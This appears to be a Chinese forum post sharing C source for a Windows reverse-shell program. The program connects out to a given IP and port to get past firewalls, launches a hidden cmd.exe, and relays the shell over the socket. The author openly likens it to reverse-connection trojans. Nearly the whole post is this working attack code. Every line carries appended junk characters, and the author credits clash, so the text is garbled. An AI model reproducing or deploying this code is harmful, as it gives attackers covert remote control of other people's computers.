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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3?Tk[m1b  
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/* ============================== d>k"#|  
Rebound port in Windows NT >oasA2S  
By wind,2006/7 t{g7 :A  
===============================*/ >21f%Z  
#include Q3P*&6wA  
#include >u/ T`$  
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#pragma comment(lib,"wsock32.lib") wu`P=-  
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void OutputShell(); E5`KUMZkq  
SOCKET sClient; $9PscubM4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gzd)7np B2  
W"&Y7("y  
void main(int argc,char **argv) ITr@;@}c]  
{ kr{eC/Q"  
WSADATA stWsaData; J{qpGRQNa  
int nRet; m)oGeD( !  
SOCKADDR_IN stSaiClient,stSaiServer; G~FAChI8![  
sUTfY|<7|  
if(argc != 3) E@N& Y1t  
{ am(jmf::  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]<g`rR7}  
return; t/Y)%N  
} xa]e9u%  
['#3GJz-  
WSAStartup(MAKEWORD(2,2),&stWsaData); )DwHLaLW  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8D5v'[j-  
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stSaiClient.sin_family = AF_INET; :o=a@Rqx  
stSaiClient.sin_port = htons(0); TW)~&;1l  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kD{qW=Lpn  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w\(; >e@  
{ $CP_oEb  
printf("Bind Socket Failed!\n"); , HHCgN  
return; KXvBJA$  
} ReZ&SNJ  
au~}s |#  
stSaiServer.sin_family = AF_INET; ~uRL+<.c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9f7T.}HM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \$[; d:9j  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) pj/w9j G6  
{ ML-?#jNa<  
printf("Connect Error!"); SU80i`  
return; dWDM{t\}\  
} \Zbi`;m?  
OutputShell(); {ZR>`'^:  
} hsEQ6  
R\^XF8n6/  
void OutputShell() ml\2%07  
{ f'Cx %  
char szBuff[1024]; #s]'2O  
SECURITY_ATTRIBUTES stSecurityAttributes; VY]L<4BfGL  
OSVERSIONINFO stOsversionInfo; [)L)R`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l.@&B@5F  
STARTUPINFO stStartupInfo; -er8(snDQ  
char *szShell; Yj/[I\I"m  
PROCESS_INFORMATION stProcessInformation; d@IV@'Q7u  
unsigned long lBytesRead; ae-hQF&  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TF7~eyLg  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R}J}Q b  
stSecurityAttributes.lpSecurityDescriptor = 0; %IhUQ6  
stSecurityAttributes.bInheritHandle = TRUE; *!- J"h  
9W+RUh^W  
KE*8Y4#9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7,:$, bL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pxgVYr.  
O;m@fS2%3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "GY/2;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j8 |N;;MN  
stStartupInfo.wShowWindow = SW_HIDE; {IR-g,B  
stStartupInfo.hStdInput = hReadPipe; 9zs!rlzQ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u/S{^2`b  
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GetVersionEx(&stOsversionInfo); J_ y+.p- 5  
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switch(stOsversionInfo.dwPlatformId) # @~HpqqR  
{ qr|v|Ejd~  
case 1: @kmOz(  
szShell = "command.com"; KCc7u8   
break; O\&[|sGY{  
default: _oBJ'8R\  
szShell = "cmd.exe"; \Uh$%#}.  
break; GO<,zOqvU  
} "B"Yfg[  
( {}Z '  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xG"*w@fs7  
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send(sClient,szMsg,77,0); x-%4-)  
while(1) | g[iK1  
{ gSn9L)k(O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =/zb$d cz  
if(lBytesRead) { M&Vh]  
{ ~P;KO40K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P<s 0f:".  
send(sClient,szBuff,lBytesRead,0); rwh,RI) )g  
}  5i|DJ6  
else 5wgeA^HE2y  
{ hiBZZ+^[  
lBytesRead=recv(sClient,szBuff,1024,0); Li8$Rb~q  
if(lBytesRead<=0) break; &K@ RTgb  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mNDz|Ln  
} Ap)[;_9BD  
} f9FEH7S68  
Fh0cOp(  
return; qOM"?av  
}
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